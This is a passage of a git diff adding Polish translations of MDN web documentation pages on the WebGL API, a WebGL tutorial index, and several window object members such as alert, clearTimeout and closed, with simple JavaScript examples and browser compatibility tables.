<li>{{domxref("DynamicsCompressorNode")}}</li> + <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li> + <li>{{domxref("GainNode")}}</li> + <li>{{domxref("MediaElementAudioSourceNode")}}</li> + <li>{{domxref("MediaStreamAudioDestinationNode")}}</li> + <li>{{domxref("MediaStreamAudioSourceNode")}}</li> + <li>{{domxref("OfflineAudioCompletionEvent")}}</li> + <li>{{domxref("OfflineAudioContext")}}</li> + <li>{{domxref("OscillatorNode")}}</li> + <li>{{domxref("PannerNode")}}</li> + <li>{{domxref("PeriodicWave")}}</li> + <li>{{domxref("ScriptProcessorNode")}}</li> + <li>{{domxref("WaveShaperNode")}}</li> + </ol> + </li> +</ol> +</section> diff --git a/files/pl/web/api/webgl_api/index.html b/files/pl/web/api/webgl_api/index.html new file mode 100644 index 0000000000..a3cc7bb3d0 --- /dev/null +++ b/files/pl/web/api/webgl_api/index.html @@ -0,0 +1,252 @@ +--- +title: WebGL +slug: Web/API/WebGL_API +tags: + - WebGL +translation_of: Web/API/WebGL_API +--- +<div>{{WebGLSidebar}}</div> + +<p class="summary">WebGL (Web Graphics Library) to API języka JavaScript służące do renderowania (rysowania) interaktywnej grafiki 3D i 2D poprzez kompatybilną przeglądarkę bez używania pluginów. WebGL został oparty na API OpenGL ES 2.0 i może zostać wykorzystany do pracy z elementem {{HTMLElement("canvas")}}.</p> + +<p>Aktualnie Jest wspierany przez <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ i <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+; ponad to urządzenie użytkownika musi także spełniać odpowiednie warunki sprzętowe, aby móc obsłużyć WebGL (przede wszystkim obsługiwać OpenGL co najmniej w wersji 2.0).</p> + +<div class="cleared row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Tematy">Tematy</h2> + +<dl> + <dt><a href="/en-US/docs/WebGL/Getting_started_with_WebGL" title="WebGL/Getting started with WebGL">Rozpocznij pracę z WebGL </a></dt> + <dd>Czyli jak stworzyć pierwszy kontekst WebGL.</dd> + <dt><a href="/en-US/docs/WebGL/Adding_2D_content_to_a_WebGL_context" title="WebGL/Adding 2D content to a WebGL context">Dodawanie grafiki 2D do kontekstu WebGL</a></dt> + <dd>Czyli jak wyświetlić proste kształty używając WebGL.</dd> + <dt><a href="/en-US/docs/WebGL/Using_shaders_to_apply_color_in_WebGL" title="WebGL/Using shaders to apply color in WebGL">Nakładamy kolory używając shaderów w WebGL</a></dt> + <dd>Czyli jak dodać nieco koloru naszym figurom w WebGL</dd> + <dt><a href="/en-US/docs/WebGL/Animating_objects_with_WebGL" title="WebGL/Animating objects with WebGL">Animacja obiektów w WebGL</a></dt> + <dd>Pokażemy jak zmieniać i przekształcać obiekty na potrzeby prostej animacji.</dd> + <dt><a href="/en-US/docs/WebGL/Creating_3D_objects_using_WebGL" title="WebGL/Creating 3D objects using WebGL">Tworzenie obiektów 3D używając WebGL</a></dt> + <dd>Pokażemy jak tworzyć i animować obiekty 3D (w tym przykładzie, sześcian).</dd> + <dt><a href="/en-US/docs/WebGL/Using_textures_in_WebGL" title="WebGL/Using textures in WebGL">Tworzenie tekstur w WebGL</a></dt> + <dd>Zademonstrowanie tworzenia map tekstur, na obiektach.</dd> + <dt><a href="/en-US/docs/WebGL/Lighting_in_WebGL" title="WebGL/Lighting in WebGL">Światła w WebGL</a></dt> + <dd>Jak zasymulować efekty świetlne w twoim kontekście WebGL.</dd> + <dt><a href="/en-US/docs/WebGL/Animating_textures_in_WebGL" title="WebGL/Animating textures in WebGL">Animacja tekstur w WebGL</a></dt> + <dd>Pokaz, jak animować tekstury, w tym przypadku mapowanie strumienia Ogg na obracającym się sześcianie.</dd> + <dt><a href="/en-US/docs/WebGL/WebGL_best_practices" title="WebGL/WebGL best practices">WebGL - najlepsze praktyki</a></dt> + <dd>Porady i sugestie na wdrożenie zawartości WebGL.</dd> + <dt><a href="/en-US/docs/WebGL/Cross-Domain_Textures" title="WebGL/Cross-Domain Textures">Cross-domain textures</a></dt> + <dd>Informacje na temat załadowania tekstur dla domen innych niż aktualne informacje, które są przetwarzane.</dd> + <dt><a href="/en-US/docs/WebGL/Using_Extensions" title="WebGL/Using_Extensions">Używanie rozszerzeń</a></dt> + <dd>Jak używać rozszerzeń aby włączyć je w WebGL.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Related_Topics" id="Zasoby">Zasoby</h2> + +<dl> + <dt><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a></dt> + <dd>Rozmowa z Nick Desaulniers o wprowadzająca do podstaw WebGL. To jest idealne miejsce aby zacząć jeśli nigdy nie programowałeś grafiki niskopoziomowej.</dd> + <dt><a class="link-https" href="https://www.khronos.org/registry/webgl/specs/1.0/" title="https://www.khronos.org/registry/webgl/specs/1.0/">WebGL - Specyfikacje</a></dt> + <dd>Specyfikacja WebGL.</dd> + <dt><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Strona Khronos WebGL</a></dt> + <dd>Strona domowa WebGL w Khronos Group.</dd> + <dt><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a></dt> + <dd>Strona z tutorialami na temat jak używać WebGL.</dd> + <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a></dt> + <dd>Tutorial z podstawami WebGL.</dd> + <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">WebGL Matrices</a></dt> + <dd>Wprowadzenie metryk używając 2D WebGL. Ta seria wyjaśnia także matematyczne zależności perspektyw 3D.</dd> + <dt><a href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">The WebGL Cookbook</a></dt> + <dd>Strona z poręcznymi przykładami kodu WebGL.</dd> + <dt><a href="http://planet-webgl.org/" title="http://planet-webgl.org/">Planet WebGL</a></dt> + <dd>Agregat dla ludzi zaangażowanych w społeczność WebGL.</dd> + <dt><a href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt> + <dd>Biblioteka 'blazing fast matrix' dla WebGL</dd> + <dt><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a></dt> + <dd>Biblioteka JavaScript Matrix and Vector dla wysoko wydajnych app WebGL.</dd> + <dt><a href="http://code.google.com/p/webgl-mjs/" title="http://code.google.com/p/webgl-mjs/">mjs</a></dt> + <dd><span>A JavaScript vector and matrix math library, optimized for WebGL usage.</span></dd> + <dt><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a></dt> + <dd>Biblioteka Open Source do manipulowania wektorami i metrykami. Nie zoptymalizowana pod WebGl (eksperymentalna).</dd> + <dt><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a></dt> + <dd>Narzędzia online do twoarzenia i dzielenia się projektami WebGL. Dobra dla szybkich prototypów i eksperymenotwania.</dd> + <dt><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a></dt> + <dd>HTML/Javascript edytor z tutorialami do nauki podstaw programowania WebGL.</dd> + <dt> </dt> +</dl> +</div> +</div> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>9</td> + <td>11</td> + <td>12 (experiment)</td> + <td>5.1 (experiment)</td> + </tr> + <tr> + <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td> + <td>{{CompatGeckoDesktop("10.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td> + <td>{{CompatGeckoDesktop("13.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td> + <td>{{CompatGeckoDesktop("15.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td> + <td>{{CompatGeckoDesktop("9.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Chrome for Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>25 (experiment)</td> + <td>{{CompatNo}}</td> + <td>12 (experiment)</td> + <td>8.1</td> + </tr> + <tr> + <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td> + <td>{{CompatGeckoMobile("9.0")}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td> + <td>{{CompatGeckoMobile("6.0")}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td> + <td>{{CompatGeckoMobile("10.0")}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td> + <td>{{CompatGeckoMobile("13.0")}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>OES_element_index_uint</code></td> + <td>{{CompatUnknown}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>OES_vertex_array_object</code></td> + <td>{{CompatUnknown}}</td> + <td>25</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td> + <td>{{CompatGeckoMobile("15.0")}}</td> + <td>25<br> + prefixed with <span style="color: rgb(34, 34, 34); font-family: courier new,monospace; font-size: 12.66px; line-height: normal; white-space: pre-wrap;">WEBKIT_</span></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>WEBKIT_EXT_texture_filter_nisotropic</code></td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h3 id="Compatibility_notes">Compatibility notes</h3> + +<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming WebGL 2 is fully backwards-compatible and will have the context name <code>experimental-webgl2</code> in the future for testing.</p> + +<h3 id="Gecko_notes">Gecko notes</h3> + +<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4> + +<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p> + +<dl> + <dt><code>webgl.min_capability_mode</code></dt> + <dd>Boolean-owska stała, oznaczająca tryb w którym włączenie jej na true, przyczynia się do włączenia minimum kompatybilności. Kiedy ten tryb jest włączony, WebGL jest skonfigurowany w taki sposób, aby wspomagał w minimalnym zakresie jego możliwości, wymagane przez specyfikacje. Tryb ten zapewnia możliwość pracy kodu WebGL na urządzeniach i przeglądarkach niezależnie od ich kompatybilności. Opcja <code>false</code> jest ustawiona domyślnie.</dd> + <dt> </dt> + <dt><code>webgl.disable_extensions</code></dt> + <dd>Boolean-owska stała, oznaczająca tryb w którym ustawienie jej na true, powoduje zamknięcie wszystkich rozszerzeń WebGL. Wartość <code>false</code> jest ustawiona domyślnie.</dd> +</dl> diff --git a/files/pl/web/api/webgl_api/tutorial/index.html b/files/pl/web/api/webgl_api/tutorial/index.html new file mode 100644 index 0000000000..cecc84cbfe --- /dev/null +++ b/files/pl/web/api/webgl_api/tutorial/index.html @@ -0,0 +1,40 @@ +--- +title: WebGL tutorial +slug: Web/API/WebGL_API/Tutorial +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial +--- +<div>{{WebGLSidebar}}</div> + +<div class="summary"> +<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> enables web content to use an API based on <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 to perform 3D rendering in an HTML {{HTMLElement("canvas")}} in browsers that support it without the use of plug-ins. WebGL programs consist of control code written in JavaScript and special effects code(shader code) that is executed on a computer's Graphics Processing Unit (GPU). WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background.</p> +</div> + +<p><span class="seoSummary">This tutorial describes how to use the <code><canvas></code> element to draw WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with WebGL and will provide code snippets that may get you started in building your own content.</span></p> + +<h2 id="Before_you_start">Before you start</h2> + +<p>Using the <code><canvas></code> element is not very difficult, but you do need a basic understanding of <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> and <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. The <code><canvas></code> element and WebGL are not supported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.</p> + +<h2 id="In_this_tutorial">In this tutorial</h2> + +<dl> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a></dt> + <dd>How to set up a WebGL context.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Adding 2D content to a WebGL context</a></dt> + <dd>How to render simple flat shapes using WebGL.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Using shaders to apply color in WebGL</a></dt> + <dd>Demonstrates how to add color to shapes using shaders.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Animating objects with WebGL</a></dt> + <dd>Shows how to rotate and translate objects to create simple animations.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Creating 3D objects using WebGL</a></dt> + <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Using textures in WebGL</a></dt> + <dd>Demonstrates how to map textures onto the faces of an object.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Lighting in WebGL</a></dt> + <dd>How to simulate lighting effects in your WebGL context.</dd> + <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Animating textures in WebGL</a></dt> + <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd> +</dl> diff --git a/files/pl/web/api/window/alert/index.html b/files/pl/web/api/window/alert/index.html new file mode 100644 index 0000000000..786efd57a3 --- /dev/null +++ b/files/pl/web/api/window/alert/index.html @@ -0,0 +1,58 @@ +--- +title: window.alert +slug: Web/API/Window/alert +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/alert +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Wyświetla okno ostrzegawcze z podanym tekstem.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">window.alert(<em>wiadomość</em>); +</pre> + +<ul> + <li><code>wiadomość</code> to ciąg znaków, który zostanie wyświetlony w oknie.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">window.alert("Hello world!"); +// "window." prefix <a href="pl/DOM/window.window">jest opcjonalny</a>, więc +// alert("Hello world!"); będzie miało taki sam efekt +</pre> + +<p>Wyświetli:</p> + +<p><img alt="Grafika:AlertHelloWorld.png"></p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Okno ostrzegawcze powinno być używane do przekazania wiadomości, które nie wymagają żadnej odpowiedzi ze strony użytkownika, poza potwierdzeniem komunikatu.</p> + +<p><span class="comment">The following text is shared between this article, DOM:window.prompt and DOM:window.confirm</span> Okna dialogowe to okna modalne - uniemożliwiają użytkownikowi dostęp do reszty interfejsu programu dopóki okno nie zostanie zamknięte. Z tego powodu nie powinieneś nadużywać funkcji, które otwierają okna dialogowe.</p> + +<p>Przy pracy z chrome (np. przy tworzeniu rozszerzenie) zaleca się korzystanie z <a href="pl/NsIPromptService">nsIPromptService</a>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<h3 id="Zobacz_te.C5.BC" name="Zobacz_te.C5.BC">Zobacz też</h3> + +<p><a href="pl/DOM/window.confirm">confirm</a>, <a href="pl/DOM/window.prompt">prompt</a></p> + +<p>Dla chrome zobacz <a href="pl/NsIPromptService#alert">alert()</a> i <a href="pl/NsIPromptService#alertCheck">alertCheck()</a></p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.alert", "fr": "fr/DOM/window.alert", "ja": "ja/DOM/window.alert" } ) }}</p> diff --git a/files/pl/web/api/window/applicationcache/index.html b/files/pl/web/api/window/applicationcache/index.html new file mode 100644 index 0000000000..5f176fa81e --- /dev/null +++ b/files/pl/web/api/window/applicationcache/index.html @@ -0,0 +1,33 @@ +--- +title: Window.applicationCache +slug: Web/API/Window/applicationCache +translation_of: Web/API/Window/applicationCache +--- +<p>{{APIRef}}</p> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p>Zwraca referencję do obiektu przetrzymującego <code>cache</code> aplikacji.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><var>cache</var> = window.applicationCache +</pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<ul> + <li><code>cache</code> jest obiektem mającym referencję do {{domxref("OfflineResourceList")}}.</li> +</ul> + +<h2 id="Specification" name="Specification">Specyfikacja</h2> + +<ul> + <li>{{spec("http://www.w3.org/TR/2008/WD-html5-20080122/#appcache","HTML 5","WD")}}</li> +</ul> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/HTML/Using_the_application_cache">Using Application Cache</a></li> +</ul> diff --git a/files/pl/web/api/window/clearinterval/index.html b/files/pl/web/api/window/clearinterval/index.html new file mode 100644 index 0000000000..e763be1f4a --- /dev/null +++ b/files/pl/web/api/window/clearinterval/index.html @@ -0,0 +1,28 @@ +--- +title: window.clearInterval +slug: Web/API/Window/clearInterval +tags: + - Window +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +<div> + {{ApiRef}}</div> +<h2 id="Summary" name="Summary">Podsumowanie</h2> +<p>Anuluje powtarzającą się akcję, która została utworzona korzystając z <code><a href="/pl/docs/DOM/window.setInterval" title="DOM/window.setInterval">setInterval()</a></code>.</p> +<h2 id="Syntax" name="Syntax">Składnia</h2> +<pre class="syntaxbox"><em>window</em>.clearInterval(<em>idInterwalu</em>) +</pre> +<p><code>idInterwalu</code> to identyfikator powtarzającej się akcji, która ma zostać anulowana. Ten identyfikator został zwrócony z {{domxref("window.setInterval","setInterval()")}}.</p> +<h2 id="Example" name="Example">Przykład</h2> +<p>Zobacz <a href="/pl/docs/DOM/window.setInterval#Przyk.C5.82ad" title="DOM/window.setInterval#Przyk.C5.82ad">przykład z <code>setInterval()</code></a>.</p> +<h2 id="Specification" name="Specification">Specification</h2> +<p>{{DOM0}}</p> +<h2 id="See_also" name="See_also">Zobacz także</h2> +<ul> + <li><a href="/pl/docs/JavaScript/Timers" title="JavaScript/Timers">JavaScript zegary</a></li> + <li>{{domxref("window.setTimeout")}}</li> + <li>{{domxref("window.setInterval")}}</li> + <li>{{domxref("window.clearTimeout")}}</li> + <li>{{domxref("window.requestAnimationFrame")}}</li> + <li><a href="/pl/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> zarządzanie</a></li> +</ul> diff --git a/files/pl/web/api/window/cleartimeout/index.html b/files/pl/web/api/window/cleartimeout/index.html new file mode 100644 index 0000000000..64604dc479 --- /dev/null +++ b/files/pl/web/api/window/cleartimeout/index.html @@ -0,0 +1,40 @@ +--- +title: window.clearTimeout +slug: Web/API/Window/clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">Podsumowanie</h3> +<p>Usuwa opóźnienie ustanione przez <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">window.setTimeout()</a>.</p> +<h3 id="Syntax" name="Syntax">Składnia</h3> +<pre class="eval">window.clearTimeout(id) +</pre> +<p>gdzie <code>id</code> jest identyfikatorem opóźnienia do usunięcia, który został zwrócony podczas wywołania <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">window.setTimeout()</a>.</p> +<h3 id="Example" name="Example">Przykład</h3> +<p>Uruchomienie poniższego skryptu w kontekscie strony i pojedyncze kliknięcie spowoduje wyświetlenie wiadomości po jednej sekundzie. Jeżeli użytkownik będzie klikał na stronie przynajmniej raz na sekundę wiadomość nigdy nie zostanie wyświetlona.</p> +<pre class="eval">var alarm = { + remind: function(aMessage) { + alert(aMessage); + delete this.timeoutID; + }, + + setup: function() { + this.cancel(); + var self = this; + this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!"); + }, + + cancel: function() { + if(typeof this.timeoutID == "number") { + window.clearTimeout(this.timeoutID); + delete this.timeoutID; + } + } +}; +window.onclick = function() { alarm.setup() }; +</pre> +<h3 id="Notes" name="Notes">Uwagi</h3> +<p>Przekazanie niepoprawnego ID do <code>clearTimeout</code> nie powoduje żadnej akcji (żaden błąd nie jest wyrzucany).</p> +<h3 id="Specification" name="Specification">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p>{{ languages( { "en": "en/DOM/window.clearTimeout", "fr": "fr/DOM/window.clearTimeout", "ja": "ja/DOM/window.clearTimeout", "pl": "pl/DOM/window.clearTimeout" } ) }}</p> diff --git a/files/pl/web/api/window/closed/index.html b/files/pl/web/api/window/closed/index.html new file mode 100644 index 0000000000..bdffbcd94d --- /dev/null +++ b/files/pl/web/api/window/closed/index.html @@ -0,0 +1,59 @@ +--- +title: window.closed +slug: Web/API/Window/closed +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/closed +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Ta własność oznacza czy dane okno jest zamknięte lub nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">var <var>isClosed</var> = <var>windowRef</var>.closed; +</pre> +<p><br> + Ta własność jest tylko do odczytu.</p> +<h3 id="Zwracane_warto.C5.9Bci" name="Zwracane_warto.C5.9Bci">Zwracane wartości</h3> +<dl> + <dt> + <code>isClosed</code></dt> + <dd> + Wartość logiczna. Możliwe wartości:</dd> +</dl> +<ul> + <li><code>true</code>: Okno zostało zamknięte.</li> + <li><code>false</code>: Okno jest otwarte.</li> +</ul> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<h4 id="Zmiana_adresu_URL_okna_pierwotnego_z_okna_otworzonego" name="Zmiana_adresu_URL_okna_pierwotnego_z_okna_otworzonego">Zmiana adresu URL okna pierwotnego z okna otworzonego</h4> +<p>Ten przykład demonstruje w jaki sposób okno otworzone może zmienić adres URL okna, które je otwarło. Przed próbą zmiany adresu URL, sprawdza czy obecne okno posiada okno-rodzica stosując własność <code><a href="pl/DOM/window.opener">window.opener</a></code> oraz czy nie zostało ono zamknięte.</p> +<pre>// Sprawdza czy okno otwierające istnieje i nie zostało zamknięte +if (window.opener && !window.opener.closed) { + window.opener.location.href = "http://www.mozilla.org"; +} +</pre> +<p>Zauważ, że okno otwierane ma dostęp tylko do okna, które je otworzyło.</p> +<h4 id="Od.C5.9Bwie.C5.BCanie_uprzednio_otwartego_okna" name="Od.C5.9Bwie.C5.BCanie_uprzednio_otwartego_okna">Odświeżanie uprzednio otwartego okna</h4> +<p>W tym przykładzie funkcja <code>refreshPopupWindow()</code> wywołuje metodę <code>reload</code> obiektu <code>location</code> otwartego okna, by odświeżyć jego dane. Jeżeli okno nie zostało jeszcze otwarte, bądź użytkownik zamknął je, zostaje utworzone nowe okno.</p> +<pre>var popupWindow = null; + +function refreshPopupWindow() { + if (popupWindow && !popupWindow.closed) { + // popupWindow jest otwarte, przeładujmy je + popupWindow.location.reload(true); + } else { + // Otwieramy nowe okno + popupWindow = window.open("popup.html","dataWindow"); + } +} +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. <code>window.closed</code> nie jest częścią żadnej specyfikacji W3C, ani technicznej rekomendacji.</p> +<h3 id="Dodatkowe_.C5.BAr.C3.B3d.C5.82a" name="Dodatkowe_.C5.BAr.C3.B3d.C5.82a">Dodatkowe źródła</h3> +<p><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/closed.asp">MSDN window.closed</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.closed", "fr": "fr/DOM/window.closed", "ja": "ja/DOM/window.closed" } ) }}</p> diff --git a/files/pl/web/api/window/content/index.html b/files/pl/web/api/window/content/index.html new file mode 100644 index 0000000000..66eed370a9 --- /dev/null +++ b/files/pl/web/api/window/content/index.html @@ -0,0 +1,43 @@ +--- +title: window.content +slug: Web/API/Window/content +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Window/content +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca obiekt <a href="pl/DOM/window">Window</a> dla zawartości głównego okna. This is useful in XUL windows that have a <code><browser></code> (or <code>tabbrowser</code> or <code><iframe></code>) with <code>type="content-primary"</code> attribute on it - the most famous example is Firefox main window, <code>browser.xul</code>. In such cases, <code>content</code> returns a reference to the <code>Window</code> object for the document currently displayed in the browser. It is a shortcut for <code><var>browserRef</var>.contentWindow</code>.</p> + +<p>In unprivileged content (webpages), <code>content</code> is normally equivalent to <a href="pl/DOM/window.top">top</a> (except in the case of a webpage loaded in a sidebar, <code>content</code> still refers to the <code>Window</code> of the currently selected tab).</p> + +<p>Some examples use <code>_content</code> instead of <code>content</code>. The former has been deprecated 